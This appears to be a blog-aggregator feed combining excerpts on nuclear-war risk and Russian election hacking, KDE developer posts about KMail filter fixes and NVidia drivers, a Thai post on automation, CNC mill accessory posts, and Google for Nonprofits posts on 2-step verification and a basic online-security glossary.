After the debacle of the Cuban Missile Crisis, the Soviet Union became much more reluctant to provoke a nuclear confrontation with the United States. Its politburo was a committee of conservative old men. Russia’s leadership is quite different today. The current mix of nationalism, xenophobia, and vehement anti-Americanism in Moscow is a far cry from the more staid and secular ideology guiding the Soviet Union in the nineteen-eighties. During the past few years, threats about the use of nuclear weapons have become commonplace in Moscow. Dmitry Kiselyov, a popular newscaster and the Kremlin’s leading propagandist, reminded viewers in 2014 that Russia is “the only country in the world capable of turning the U.S.A. into radioactive dust.” The Kremlin has acknowledged the development of a nuclear torpedo that can travel more than six thousand miles underwater before devastating a coastal city. It has also boasted about a fearsome new missile design. Nicknamed “Satan 2” and deployed with up to sixteen nuclear warheads, the missile will be “capable of wiping out parts of the earth the size of Texas or France,” an official news agency claimed.

..

Russia’s greatest strategic vulnerability is the lack of a sophisticated and effective early-warning system. The Soviet Union had almost a dozen satellites in orbit that could detect a large-scale American attack. The system began to deteriorate in 1996, when an early-warning satellite had to be retired. Others soon fell out of orbit, and Russia’s last functional early-warning satellite went out of service two years ago. Until a new network of satellites can be placed in orbit, the country must depend on ground-based radar units. Unlike the United States, Russia no longer has two separate means of validating an attack warning. At best, the radar units can spot warheads only minutes before they land. Pavel Podvig, a senior fellow at the U.N. Institute for Disarmament Research, believes that Russia does not have a launch-on-warning policy—because its early-warning system is so limited.

For the past nine years, I’ve been immersed in the minutiae of nuclear command and control, trying to understand the actual level of risk. Of all the people whom I’ve met in the nuclear realm, Sidney Drell was one of the most brilliant and impressive. Drell died this week, at the age of ninety. A theoretical physicist with expertise in quantum field theory and quantum chromodynamics, he was for many years the deputy director of the Stanford Linear Accelerator and received the National Medal of Science from Obama, in 2013. Drell was one of the founding members of jason—a group of civilian scientists that advises the government on important technological matters—and for fifty-six years possessed a Q clearance, granting him access to the highest level of classified information. Drell participated in top-secret discussions about nuclear strategy for decades, headed a panel that investigated nuclear-weapon safety for the U.S. Congress in 1990, and worked on technical issues for jason until the end of his life. A few months ago, when I asked for his opinion about launch-on-warning, Drell said, “It’s insane, the worst thing I can think of. You can’t have a worse idea.”

Drell was an undergraduate at Princeton University when Hiroshima and Nagasaki were destroyed. Given all the close calls and mistakes in the seventy-one years since then, he considered it a miracle that no other cities have been destroyed by a nuclear weapon—“it is so far beyond my normal optimism.” The prospect of a new cold war—and the return of military strategies that advocate using nuclear weapons on the battlefield—deeply unnerved him. Once the first nuclear weapon detonates, nothing might prevent the conflict from spiralling out of control. “We have no experience in stopping a nuclear war,” he said.

..

Donald Trump and Vladimir Putin confront a stark choice: begin another nuclear-arms race or reduce the threat of nuclear war. Trump now has a unique opportunity to pursue the latter, despite the bluster and posturing on both sides. His admiration for Putin, regardless of its merits, could provide the basis for meaningful discussions about how to minimize nuclear risks. Last year, General James Mattis, the former Marine chosen by Trump to serve as Secretary of Defense, called for a fundamental reappraisal of American nuclear strategy and questioned the need for land-based missiles. During Senate testimony, Mattis suggested that getting rid of such missiles would “reduce the false-alarm danger.” Contrary to expectations, Republican Presidents have proved much more successful than their Democratic counterparts at nuclear disarmament. President George H. W. Bush cut the size of the American arsenal in half, as did his son, President George W. Bush. And President Ronald Reagan came close to negotiating a treaty with the Soviet Union that would have completely abolished nuclear weapons.

Every technology embodies the values of the age in which it was created. When the atomic bomb was being developed in the mid-nineteen-forties, the destruction of cities and the deliberate targeting of civilians was just another military tactic. It was championed as a means to victory. The Geneva Conventions later classified those practices as war crimes—and yet nuclear weapons have no other real use. They threaten and endanger noncombatants for the sake of deterrence. Conventional weapons can now be employed to destroy every kind of military target, and twenty-first-century warfare puts an emphasis on precision strikes, cyberweapons, and minimizing civilian casualties. As a technology, nuclear weapons have become obsolete. What worries me most isn’t the possibility of a cyberattack, a technical glitch, or a misunderstanding starting a nuclear war sometime next week. My greatest concern is the lack of public awareness about this existential threat, the absence of a vigorous public debate about the nuclear-war plans of Russia and the United States, the silent consent to the roughly fifteen thousand nuclear weapons in the world. These machines have been carefully and ingeniously designed to kill us. Complacency increases the odds that, some day, they will. The “Titanic Effect” is a term used by software designers to explain how things can quietly go wrong in a complex technological system: the safer you assume the system to be, the more dangerous it is becoming.'

- Eric Schlosser, World War Three, By Mistake, December 23, 2016


Context

The International Day for the Total Elimination of Nuclear Weapons

          '..Russia .. cyberpower proved the perfect weapon .. political sabotage..' (no replies)        
' “We’d have all these circular meetings,” one senior State Department official said, “in which everyone agreed you had to push back at the Russians and push back hard. But it didn’t happen.”

..

Mr. Putin, a student of martial arts, had turned two institutions at the core of American democracy — political campaigns and independent media — to his own ends..

..

..The Russians clearly had a more sophisticated understanding of American politics, and they were masters of “kompromat,” their term for compromising information.

..

..the hackings of the State Department, the White House and the Pentagon..

..

What seems clear is that Russian hacking, given its success, is not going to stop. Two weeks ago, the German intelligence chief, Bruno Kahl, warned that Russia might target elections in Germany next year. “The perpetrators have an interest to delegitimize the democratic process as such,” Mr. Kahl said. Now, he added, “Europe is in the focus of these attempts of disturbance, and Germany to a particularly great extent.” '



'..the White House’s reluctance to respond forcefully meant the Russians have not paid a heavy price for their actions, a decision that could prove critical in deterring future cyberattacks.

..

..President Vladimir V. Putin of Russia moved beyond mere espionage to deliberately try to subvert American democracy and pick the winner of the presidential election.

..

..A low-cost, high-impact weapon that Russia had test-fired in elections from Ukraine to Europe was trained on the United States, with devastating effectiveness. For Russia, with an enfeebled economy and a nuclear arsenal it cannot use short of all-out war, cyberpower proved the perfect weapon: cheap, hard to see coming, hard to trace.

..

The United States had two decades of warning that Russia’s intelligence agencies were trying to break into America’s most sensitive computer networks. But the Russians have always managed to stay a step ahead.

Their first major attack was detected on Oct. 7, 1996, when a computer operator at the Colorado School of Mines discovered some nighttime computer activity he could not explain. The school had a major contract with the Navy, and the operator warned his contacts there. But as happened two decades later at the D.N.C., at first “everyone was unable to connect the dots,” said Thomas Rid, a scholar at King’s College in London who has studied the attack.

Investigators gave it a name — Moonlight Maze — and spent two years, often working day and night, tracing how it hopped from the Navy to the Department of Energy to the Air Force and NASA. In the end, they concluded that the total number of files stolen, if printed and stacked, would be taller than the Washington Monument.

Whole weapons designs were flowing out the door, and it was a first taste of what was to come: an escalating campaign of cyberattacks around the world.

..

The Russians were also quicker to turn their attacks to political purposes. A 2007 cyberattack on Estonia, a former Soviet republic that had joined NATO, sent a message that Russia could paralyze the country without invading it. The next year cyberattacks were used during Russia’s war with Georgia.

..

Mr. Obama was briefed regularly on all this, but he made a decision that many in the White House now regret: He did not name Russians publicly, or issue sanctions. There was always a reason: fear of escalating a cyberwar, and concern that the United States needed Russia’s cooperation in negotiations over Syria.

“We’d have all these circular meetings,” one senior State Department official said, “in which everyone agreed you had to push back at the Russians and push back hard. But it didn’t happen.”

..

Last year, the attacks became more aggressive. Russia hacked a major French television station, frying critical hardware. Around Christmas, it attacked part of the power grid in Ukraine, dropping a portion of the country into darkness, killing backup generators and taking control of generators. In retrospect, it was a warning shot.

..

..CrowdStrike’s nicknames for the two Russian hacking groups that the firm found at work inside the D.N.C. network. Cozy Bear — the group also known as the Dukes or A.P.T. 29, for “advanced persistent threat” — may or may not be associated with the F.S.B., the main successor to the Soviet-era K.G.B., but it is widely believed to be a Russian government operation. It made its first appearance in 2014, said Dmitri Alperovitch, CrowdStrike’s co-founder and chief technology officer.

..

Only in March 2016 did Fancy Bear show up — first penetrating the computers of the Democratic Congressional Campaign Committee, and then jumping to the D.N.C., investigators believe. Fancy Bear, sometimes called A.P.T. 28 and believed to be directed by the G.R.U., Russia’s military intelligence agency, is an older outfit, tracked by Western investigators for nearly a decade. It was Fancy Bear that got hold of Mr. Podesta’s email.

..

It was bad enough that Russian hackers had been spying inside the committee’s network for months. Now the public release of documents had turned a conventional espionage operation into something far more menacing: political sabotage, an unpredictable, uncontrollable menace for Democratic campaigns.

..

Julian Assange, the WikiLeaks founder and editor, has resisted the conclusion that his site became a pass-through for Russian hackers working for Mr. Putin’s government or that he was deliberately trying to undermine Mrs. Clinton’s candidacy. But the evidence on both counts appears compelling.

..

Mr. Putin, a student of martial arts, had turned two institutions at the core of American democracy — political campaigns and independent media — to his own ends. The media’s appetite for the hacked material, and its focus on the gossipy content instead of the Russian source, disturbed some of those whose personal emails were being reposted across the web.

..

In late 2014, hackers working for Kim Jong-un, the North’s young and unpredictable leader, had carried out a well-planned attack on Sony Pictures Entertainment intended to stop the Christmastime release of a comedy about a C.I.A. plot to kill Mr. Kim.

In that case, embarrassing emails had also been released. But the real damage was done to Sony’s own systems: More than 70 percent of its computers melted down when a particularly virulent form of malware was released. Within weeks, intelligence agencies traced the attack back to the North and its leadership. Mr. Obama called North Korea out in public, and issued some not-very-effective sanctions. The Chinese even cooperated, briefly cutting off the North’s internet connections.

As the first Situation Room meetings on the Russian hacking began in July, “it was clear that Russia was going to be a much more complicated case,” said one participant. The Russians clearly had a more sophisticated understanding of American politics, and they were masters of “kompromat,” their term for compromising information.

..

..code was put out in the open by the Russians as a warning: Retaliate for the D.N.C., and there are a lot more secrets, from the hackings of the State Department, the White House and the Pentagon, that might be spilled as well. One senior official compared it to the scene in “The Godfather” where the head of a favorite horse is left in a bed, as a warning.

..

As the year draws to a close, it now seems possible that there will be multiple investigations of the Russian hacking — the intelligence review Mr. Obama has ordered completed by Jan. 20, the day he leaves office, and one or more congressional inquiries. They will wrestle with, among other things, Mr. Putin’s motive.

..

Did he seek to mar the brand of American democracy, to forestall anti-Russian activism for both Russians and their neighbors? Or to weaken the next American president, since presumably Mr. Putin had no reason to doubt American forecasts that Mrs. Clinton would win easily? Or was it, as the C.I.A. concluded last month, a deliberate attempt to elect Mr. Trump?

In fact, the Russian hack-and-dox scheme accomplished all three goals.

What seems clear is that Russian hacking, given its success, is not going to stop. Two weeks ago, the German intelligence chief, Bruno Kahl, warned that Russia might target elections in Germany next year. “The perpetrators have an interest to delegitimize the democratic process as such,” Mr. Kahl said. Now, he added, “Europe is in the focus of these attempts of disturbance, and Germany to a particularly great extent.” '

- Eric Lipton, David E. Sanger and Scott Shane, The Perfect Weapon: How Russian Cyberpower Invaded the U.S., December 13, 2016


Context '[Russia] may become a threat to the world. That is the worst thing that could happen to Russia.' - Yegor Gaidar

'..Russian strategy of hybrid influence and destabilization .. German Council on Foreign Relations.'

'German intelligence says Russia is trying to destabilize German society..' - '..war that Moscow is waging against the West..'

'[Putin is doing] anything that can and will expand Russian influence to U.S.S.R.-era levels of power.'


'..Zero tolerance for Russian intrusions .. Estonia .. policy of publicly naming or prosecuting spies..'

'..the Soviet Union was cut off from Western financial markets and was effectively under permanent sanctions..'

          Three days in Berlin (or improving the pim user experience)        

KDE Project:

Last weekend I've met with some of our old timer KDEPIM developers and some of the newer ones who are interested in KDEPIM or related technologies in the KDAB offices in Berlin.
Being a KDAB employee for a few years already (wow, time is passing quickly), the place was familiar, the people looked familiar. The foosball table was slightly familiar, although some players changed their dresses in order to spread confusion inside the visitor's heads. That is the only reason we've lost against locals with 5-0, 5-0.
Suprisingly enough, the table wasn't used that much. Why? Because people were busy either working and talking. What they talked about I don't know too much, as I focused on some issues I planned to fix, but others can testify that Volker did not sit too much in front of his computers, but was dragged from one place to another for various discussions.
Most of us started on Friday around noon. I won't tell too much about what others did, that is mostly their problem. Especially if they were on the other side of the room and I didn't saw their screens, I can't tell if they worked at all or not. They looked like they did though. ;) I can share some things about what some sitting nearby did. See later.
As recently I became the de-facto maintainer and bugfixer for mail filters, I worked mostly on them. Unfortunately the first attempt to fix a bug failed: a bug that bothers me, although it is not the most reported one. It is about mails not being filtered for a while after a resume from hibernation. It is hard to reproduce, and although I run into it, I couldn't reproduce reliably enough and in a way I can debug it. After fighting with it and realising it won't work, I gave up. See you next time.
Meantime we had some excellent food in an Indian restaurant, then when finally everybody arrived (almost everybody to be honest, plus even some more from KDAB who didn't sign up, but show up there), we were ready to start with presenting the kdepim and Akonadi architecture. Old time pimsters Volker Krause, Kevin Krammer and Tobias Koenig helped me with it, and sometimes saved me, as my knowledge in some area proved to be superficial. We ended up with a pretty impressive drawing on the whiteboard:
Hopefully for those being on site it was understandable.

Time passed, so we went out for dinner to a Greek restaurant at the corner. Nice place, third time being there, good food (seems Berlin has only good eating places). We even saw how Germany won over Ireland. Too bad Steveire (Stephen Kelly) was not there... We continued with some more talks and hacking, then everybody went to their sleeping places.
Some left earlier, some later waiting for remote developers to show up and discuss the patches (he didn't show up).

Day 2
Next day started around 9 o'clock for some. Later for others. I continued with the filter debugging and fixing. I looked at the bugreports and tried to come up with some bugs that are both would help the users and myself. I'm selfish, I want to fix the bugs I run into. ;) One problem that bothered me for a long time is that email content from online IMAP is downloaded even if no filter for IMAP requires it (but a filter for e.g POP3 needs the full content). Now this is fixed and those who use online imap could notice a great speedup in mail syncing (depending on their filter setup). Another often reported issue was duplicating the mails, especially after spam filtering. You've ended up with a mail in the spam folder and a mail in the original place. This could be combined with a conflict dialog shown up as well for that mail. This problem actually revealed a not-well handled case down inside the Akonadi stack that was created by a reordering of filter commands in the filtering code. For those who want technical details: if there was a move action (like "move mail to spam folder") followed by a modify action (like "mark as read"), the filter reordered this to "mark as read" followed by a move. Unfortunately this exposed two problems, (mostly, but not only) IMAP specific: on IMAP you can't modify a mail, instead you create a new one and delete the old. What happened here is that a filter changed the mail (run through bogofilter/spamassasin), then the "mark as read" action was executed, which uploaded the changes, including the changed mail to the IMAP server. This caused a new ID for the item on the IMAP server. The mail with the old ID was deleted. Then the filter agent performed a move, but he had only the *old* ID, before the modifications. The move - if performed between two different resources, like IMAP and local maildir - is technically a copy followed by a delete. The copy worked fine, but the delete didn't. It tried to delete the old mail again (which was gone), not the modified version. That's how you ended up with a duplicate.
The current solution is to reorder the filtering pipeline, so the move is performed before the flag modifications. The extra benefit is that the filtered message is not uploaded again just to be deleted the next second. Speedup, less network traffic, better user experience. This doesn't fix the main problem with Akonadi, but it is an acceptable workaround. The reordering is so far only in the master branch (KDE 4.10), but the relevant code will be backported to the 4.9 branch, so it will be in 4.9.3.
And speaking of conflicts, that was the next hot topic, and one of the often reported bugs. It was mostly caused by conflicting flag changes (read/spam/important/etc), either caused by KMail itself plus the filtering or just KMail. After some discussion we agreed, that reporting conflicts on flag changes doesn't make sense, so we should not bother the user. It is not data loss, and in worst case some flag is reset. In normal case nothing wrong happens, as Akonadi is able to merge two changes in the flags (or so claims Volker).
I have to admit that this fix was not completed at the sprint, I finished it today, as I noticed more code in KDEPIM that didn't disable conflict check on flag changes.
While doing the changes, I did quite some refactoring, cleaning up the code as much as I could do for the parts I touched. The code was originally deep inside KMail (as most of other code), got extracted from it for 4.8.0, and now we are at the stage that we can make the extracted code more cleaner, we can remove some things that doesn't make sense anymore now that the filtering is not inside KMail.
While reading the bug reports, I also run into one indicating that mails arriving to an MBOX account (like /var/spool/mail/username) are not filtered automatically. Sounds like an easy bug to fix and so was it. Now they are filtered.
Finally another annoying issue was fixed: there was no indication that filtering is ongoing. Now when this happens, you can see in the KMail's progress bar.
The net result of the above: faster filtering, less annoying and useless error dialogs for the users. And according to bugzilla, 31 bugs less (some were duplicates though).

Nepomuk...one of the things that, well, so far I was always recommending for users to turn off. Slight detour here: what is Nepomuk and its relation to KMail? Nepomuk helps you to find data. It indexes all kind of data and with some queries you can find e.g every file where my name is mentioned, all email addresses from any file, etc. There is a process that goes through the akonadi data (emails, calendars, etc) and "feeds" to it for Nepomuk to be indexed. Then there are queries and code in KMail accessing Nepomuk: getting email addresses for composer's autocompletion, searching inside mail bodies, tagging your emails with custom tags, etc.
Unfortunately there are problems around it. One is that some queries ae processed quite slowly, that in turn slows down KMail, leading to poor user experience. E.g switching between mails, sending mails, etc. is slow. Or startup is slow or even blocked. I tried to fix the last part as I just run into it, but as this was my very first Nepomuk related patch, I'm not sure 100% succeeded. We found a problem with the Nepomuk API itself, and I informed Vishesh, the Nepomuk developer about it (even if I used non-blocking calls against Nepomuk, one call is blocking without question). He suggested something I might try later, although I'd be more happier if somebody with real Nepomuk knowledge could give a review of the pim Nepomuk usage.
Then there is the Akonadi feeder, that gives the data to Nepomuk. Something is not perfect there and the indexing causes a serious slowdown, where either itself or Nepomuk (actually its storage backend, virtuoso) starts to use the CPU *a lot*. This is the main reason I recommend to users to disable Nepomuk so far. We had Christian Mollekopf the author of the feeder in the sprint, and he worked on some optimizations. Hopefully this will improve the situation. Meantime we (and I) tried to convince Vishesh to use KMail, so he can see himself the problems our users face.

As a break we had another presentation, this time about KMail itself, what components make up KMail, how they are distributed. As far as I saw, this was less interesting to the audience, they rather looked at their computers and hacked on something. Luckily our KMail maintainer, Laurent Montel, is super active, but I wouldn't mind more contributors. Too bad he wasn't at the sprint.

We had a lunch at a nearby place, nothing extra, but the food was (again) good.

What did other do? Let's see what I can remember... Sune dreamed about crypto stuff and composite jobs. He worked on making some cryptographic code asynchronous and started to get faimiliar with kdepim code. I'd not say he picked up the easiest job.
Volker run around all the time, discussed various things like "spanish sync" with Alex Fiestas (see here), database backends with Martin, change recorder with David Faure (who remotely joined the meeting and got lost inside the change recorder code ... he has the solution now in his head, so be patient, we will end up with a better implementation for it that again speeds up Akonadi), job pipelines with me, and who knows what with others, as for a long time he just disappeared with a bunch of developers. They actually ended up in the lobby discussing "stuff". Milian Wolf, who is not (or not yet?) a KDEPIM developer, but mainly a KDevelop one, joined us and used massif to track down some ugly memory usage in KMail. And he did a good job in it. Previously KMail used more and more memory as you navigated between large folders (Alex mentioned some 2GB for him), while now it levels up at one point and doesn't increase. He might blog himself about, as he has also some nice graphs.
Then there were two guys from KDAB, who are old time pim developers (quiz: find their names in this blog), but they cooked something else, not related to KDEPIM, not related concretely to KDE, but to a lower level: to Qt. It is an amazingly cool stuff, but I don't want to give more details. Expect it to be presented a the Qt Developer Days, either in a talk or at the KDAB booth. Don't worry, I'm pretty sure it will be freely available what they did and KDE can enjoy it in the future.
I'm sorry that I don't remember what the rest did. In general I know that Martin Klapetek worked on the social network resources, Mark Gaiser, who recently started to work on KDEPIM stuff eagerly listened to our presentations and worked on a QML calendar application, Alex kept reporting bugs and discussed improvements with Volker, while John Layt, the "timezone KDE guy" worked on plasma calendar related issues.
As a KDE person Chani also joined us for a while, we quickly nominated her as the QML and Plasma person, so all questions related to them were immediately redirected to Chani. Jos Poortvilet was also supposed to join for some talks, but he could show up only on Sunday for personal reasons.
At the end of the day everybody was so busy, so instead of going out for eating, we just ordered some pizza. And most of us stood in the office well past midnight.

Day 3
Well, the above partially happened on Sunday. It was a shorter day for me, due to the late night standup before, and that I had to go to the airport after lunch. A lunch that wasn't exactly as planned. We went out for a Doner Kebab place that is supposed to be the best one in Berlin. It is just a small kiosk on the sidewalk in a street, but man, there was a big queue for it. On a Sunday! Locals says it is worse on weekdays. Even after almost an hour, we still had 10 persons in front of us, my departure time was approaching, so I gave up and instead bought some (quite good) chinese fast-food from a nearby place, then rushed to the airport.
A long journey awaited me with a 3 hour stopover in Munich, but luckily I had a power supply there and even some network (they offer 30 minutes/day/phone number), so I could continue on the work I started at the sprint. After flying and driving another 2.5 hours, I arrived late (or rather early) morning next day back home, and after sleept until around 10. Then I started to work again for KDAB, a work that is just as enjoyable as working for KDE. After all, the two communities has a serious overlap. ;)
That's from the sprint. If you'll be at the Qt Developer Days Europe, we might meet there. I'm looking forward for a good conference.


          KDE and NVidia (updated)        

KDE Project:

The above combination was never a painless experience, still at some point in past it seemed to be better to have a NVidia card on Linux then anything else, so I continued to buy them whenever my system was upgraded. Lately although it started to make me rather bad. I have two computers, one that is a 4 core Intel CPU with 8GB of memory, the other is a Core2Duo with 3GB. The latter is a Lenovo laptop. Both have NVidia, nothing high end (Qudaro NVS something and 9300GE, both used with dual monitor setup), but they should be more than enough for desktop usage. Are they?
Well, something goes wrong there. Is that KDE, is that XOrg, is that the driver? I suspect the latter. From time to time (read: often), I ended up with 100% CPU usage for XOrg. Even though I had 3 cores doing nothing the desktop was unusable. Slow scroll, scroll mouse movements, things typed appearing with a delay, things like that. Like I'd have an XT. I tried several driver version, as I didn't always have this issues, but with newer kernel you cannot go back to (too) old drivers. I googled, and found others having similar experience, with no real solution. A suspicion is font rendering for some (non-aliased) fonts, eg. Monospace. Switching fonts sometimes seemed to make a difference, but in the end, the bug returned. Others said GTK apps under Qt cause the problem, and indeed closing Firefox sometimes helped. But it wasn't a solution. Or there was a suggestion to turn the "UseEvents" option on. This really seemed to help, but broke suspend to disk. :( Turning off the second display and turning on again seemed to help...for a while. Turning off the composite manager did not change the situation.
Finally I tried the latest driver that appeared not so long ago, 256.44. And although the CPU usage of XOrg is still visible, with pikes going up to 20-40%, I gain back the control over the desktop. Am I happy with it? Well, not....
As this was only my desktop computer. I quickly updated the driver on the laptop as well, and went on the road. Just to see 100% CPU usage there. :( Did all the tricks again, but nothing helped. Until I had the crazy idea to change my widget theme from the default Oxygen to Plastique. And hurray, the problem went away! It is not perfect, with dual monitor enabled sometimes maximizing a konsole window takes seconds, but still in general the desktop is now usable. And of course this should also make me have more uptime on battery.
Do I blame Oxygen? No, not directly. Although might make sense to investigate what causes there the NVidia driver going crazy and report to NVidia.

So in case you have similar problems, try to switch to 256.44 and if it doesn't help chose a different widget style.

Now, don't say me to use nouveau or nv. Nouveau gave me graphic artifacts and it (or KDE?) didn't remember the dual card setup. Nv failed the suspend to disk test with my machine and doesn't provide 3D acceleration needed eg. for Google Earth.

UPDATE: I upgraded my laptop to 4.5.1 (from openSUSE packages).Well, this broke composition completely, I got only black windows. I saw a new driver is available (256.53), let's try it. So far, so good, even with Oxygen. Let's see on the long run how it behaves, I didn't test it in deep.


          KDE 4.2 - progress in a year        

KDE Project:

More than a year ago I wrote a post about KDE 4.0, I was quite unsatisfied with how in was and that we are going to release a product that has defects and in the eyes of the users will be a step back. I actually switched to KDE4 as my main desktop sometime during the 4.1 developing cycle. Since then I use KDE trunk on one machine and whatever my distro (openSUSE) provides on another one. There is always a shock when I have to use the distro packages. They did a very good job on integration and in many cases the distro package looks more polished than my self compiled one, still I was always liked the trunk version better. The improvement between 4.1.x and 4.0.x and 4.x.x and 4.1.x is just so big, using the older version is like going back several years. Not talking when I use KDE 3.5 on some other machines. I miss KDE 4.2 a lot in that case. Was it good that we released 4.0 a year ago? I think it was bad from PR point of view, but probably needed to actually have a 4.2 like the one will appear soon in the wild.
Yes, there are still issues, yes there are some applications that aren't ported or their port is not up to the expectations (yet). Luckily, unless your distribution did it wrong, it is possible to run the KDE3 applications under KDE4, without much hassle.
In the previous blog I complained about performance. My system is almost the same, except the video card is a newer one. And buying a new card at that time caused more trouble, and virtually no visible speedup at that time. Meantime the drivers improved (also due to KDE!), KDE improved (both kwin and plasma), and now I can use my system with effects enabled without thinking about performance. The current performance problems are actually caused by the flash plugin and its wrappers, in many case they start to use 100% CPU power. I'm not sure it can be fixed by us or the wrapper developers, what I know that both Konqueror and Firefox suffer from this problem. I just had to close down Firefox running in a KDE3 session because the X server for that session used completely one core.
I'm happy now with KDE4 and trunk already has some improvements compared to 4.2 that I enjoy. :) I'm amazed by the progress of KDE, aren't you amazed as well?

PS: If you miss Quanta being ported and you know C++/Qt, you should help. The only way to make it a KDE4 application is to finish the port, it won't happen magically if noone works on it. :(


          Automation งวดนี้จะทำให้โลกเปลี่ยนไปตลอดกาล และมีผลกระทบต่องานปัจจุบันแน่นอน        
Automation งวดปีนี้จะไม่เหมือนเดิม เมื่อเทียบกับรอบแรกเมื่อ 50 ปีที่แล้วที่เป็นยุคปฏิวัติอุตสาหกรรม ผมมีโอกาสได้ศึกษาและเรียนรู้เกี่ยวกับ การใช้งานเครื่องจักร เพื่อทำให้การทำงานมีประสิทธิภาพ และการออกแบบระบบ หรือวิธีการเพื่อทำให้คนงาน (ที่เป็นคน) ทำงานร่วมกับเครื่องจักรได้อย่างมีประสิทธิภาพ เพื่อให้ผลิตภาพที่ดีในโรงงานอุตสาหกรรม ทั้งนี้เรื่องที่เคยเรียนรู้มาทั้งหมด มีการเปลี่ยนแปลงไปมากเนื่องจากเทคโนโลยีด้านคอมพิวเตอร์และการสื่อสารที่ทำให้เกิดขึ้นมูลที่สื่อสารกันได้ระหว่างเครื่องจักร และการเชื่อมต่อของข้อมูลผ่านอินเตอร์เน็ตที่เข้าถึงได้อย่างดาษดื่นในโลกปัจจุบัน แต่แล้ววันนี้ ก็มีการเปลี่ยนแปลงครั้งใหญ่อีกครั้งหนึ่ง คือ พวก Google Amazon หรือ Apple เองก็กำลังจะเข้าถึงการเปลี่ยนถ่ายเทคโนโลยีการออกแบบโปรแกรมเพื่อให้ตรรกะทำงาน ด้วยรูปแบบการกำหนดเงื่อนไขเอาไว้ก่อนล่วงหน้า มาเป็นทำการให้ตรรกะเหล่านั้นมีการเปลี่ยนแปลงได้เอง และ เรียนรู้ที่จะเปลี่ยนแปลงได้เองโดยการฝึกจากข้อมูลตัวอย่าง หรือวิธีการทำงานตัวอย่าง ซึ่งใช้คำกันอยู่ในตอนนี้คือ Machine Learning...
          Homemade accordian-style Y-axis leadscrew cover and clear acrylic CNC mill enclosure by iXen-CNC        

Sherline may offer these someday, but for now you can make your own thanks to very well done plans and videos you can find on the Internet at http://www.ixen-cnc.com/. The Y-axis has the only exposed leadscrew on the Sherline mill. CNC milling generates a lot of chips, and the machine is often run unattended, allowing […]

The post Homemade accordian-style Y-axis leadscrew cover and clear acrylic CNC mill enclosure by iXen-CNC appeared first on Millhill Supplies Ltd..


          Old School Machine Shop        

A look around Central Texas Tools in Abiline, Texas. This is what many will consider an old school machine shop, and is also a family run small business. Three generations of the Carpenter family currently work in the shop and the business spans four generations. Can your work place function efficiently and effectively without a […]

The post Old School Machine Shop appeared first on Millhill Supplies Ltd..


          Improve your nonprofit’s account security with 2-step verification        

While online accounts allow nonprofits to easily communicate with partners, volunteers and donors across the world, this shared network can also leave your account vulnerable to intruders. As your nonprofit continues to grow its online presence, it’s crucial to keep confidential information (e.g., finances or donor’s information) safe. While passwords have historically been the sole guardian for online account access, research from Google has shown that many passwords and security questions can easily be guessed. That's why we strongly recommend that all nonprofits using GSuite for Nonprofits, or Google products like Gmail, use 2-Step Verification (2SV) as an additional protection on their account(s). 

Account hijacking—a process through which an online account is stolen or hijacked by a hacker—constitutes a serious threat to your nonprofit’s operations. Typically, account hijackings are carried out by phishing attempts or hackers who guess weak passwords. Because of this, it’s especially important for your nonprofit to maintain strong and unique account passwords to keep sensitive data safe.

But 2SV goes beyond just a strong password. It's an effective security feature that combines "something you know" (e.g., a password) and "something you have" (e.g., a text, a prompt, or a Security Key) to protect your accounts. Think of this like withdrawing money from an ATM/cash machine: You need both your PIN and your debit card.

Google Authentication app.png
Our free Google Authenticator app is available for Android and iOS devices, which generates a code for you each time you want to sign in to your account.

Now that you know what 2SV is, head over to our Help Page to start improving your nonprofit’s online security now. (Quick tip: Remember to keep your account settings up to date and configure backup options to use if your phone is ever lost or stolen). Stay safe, nonprofits!  

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          A nonprofit's guide to online security: So you want to learn the lingo?        
This year marks the 25th anniversary of the World Wide Web becoming publicly available. For many of us, this is a reminder of just how much the Internet has transformed our daily lives. This rings true for nonprofits too: The Internet has revolutionized the way that nonprofits communicate, fundraise, and recruit volunteers. It has enabled nonprofits like yours to share their mission with a global audience. To raise awareness. And to change the world. 

But the power of the Internet also comes with great responsibility -- namely the need to keep information safe and secure. As a nonprofit, it can be difficult to keep up with online security, especially when terminology seems complicated. Yes, you might have heard of terms like “phishing” or “cookies,” but what do they mean?

Today, you can find the answers to your questions with our quick & easy to guide to online security terminology. In less than five minutes, you’ll be well on the way to helping keep your nonprofit safe on the Internet. 

Let’s get started! Here’s a quick guide to familiarize yourself with common lingo and learn how to distinguish terms that are friends vs foes in the online security realm. 


THE BAD GUYS: MALICIOUS ACTIONS/TERMS

  • Advanced Fee Fraud (419 scams): A technique which tricks users into sending or paying money to fraudsters on the promise of receiving greater rewards afterwards. It is most commonly associated with Nigeria, and 419 is the section of the Nigerian legal code that covers this fraud.
  • Botnet: A network of computers that are infected with malicious software without users’ knowledge, used to send viruses and spam to other computers.
  • Malware: Malicious software with the purpose of infecting devices and systems, gathering personal information, gaining access to systems or disrupting the operations of the device or systems. Essentially, any software that maliciously alters or compromises the system or device.
  • Phishing / Social Engineering Attack: An attempt by hackers who pose as trustworthy individuals or businesses in order to get your personal information such as usernames, passwords, and financial information.
  • Trojans: Malicious programs posing as or bundled with legitimate ones, which are designed to compromise your system. They are usually installed on computers from opening attachments in scam emails or by visiting infected websites. The term comes from the Trojan Horse in Greek mythology.

How to avoid social engineering attacks

THE GOOD GUYS: ONLINE SAFETY TERMS


  • [Internet] Cookie: A piece of data from a visited website and stored in the user's web browser in order to remember information that the user has entered or engaged with such as items in a shopping basket on an e-commerce site.
  • Encryption: The process of encoding data, messages, or information, such that only authorized parties can read it.
  • Firewall: A security system used to block hackers, viruses, and other malicious threats to your computer. It does this by acting as a barrier, acting on predetermined rules, which allows trusted traffic but blocks untrusted or non-secure traffic. 
  • HTTPS (Hypertext Transfer Protocol): is the protocol for secure communications over a computer network used on the Internet. It essentially provides authentication of the website and the web servers associated with it. 
  • Transport Layer Security (TLS): TLS is a protocol that encrypts and delivers mail securely, both for inbound and outbound mail traffic. It helps prevent eavesdropping between mail servers – keeping your messages private while they're moving between email providers. 
  • Two Factor Authentication / Two Step Verification: A method of using an additional process to verify your identity online. It combines both ‘something you know’ (like a password) and ‘something you have’ (like your phone or security key) — similar to withdrawing money from an ATM/cash machine, where you need both your PIN and your bank card.

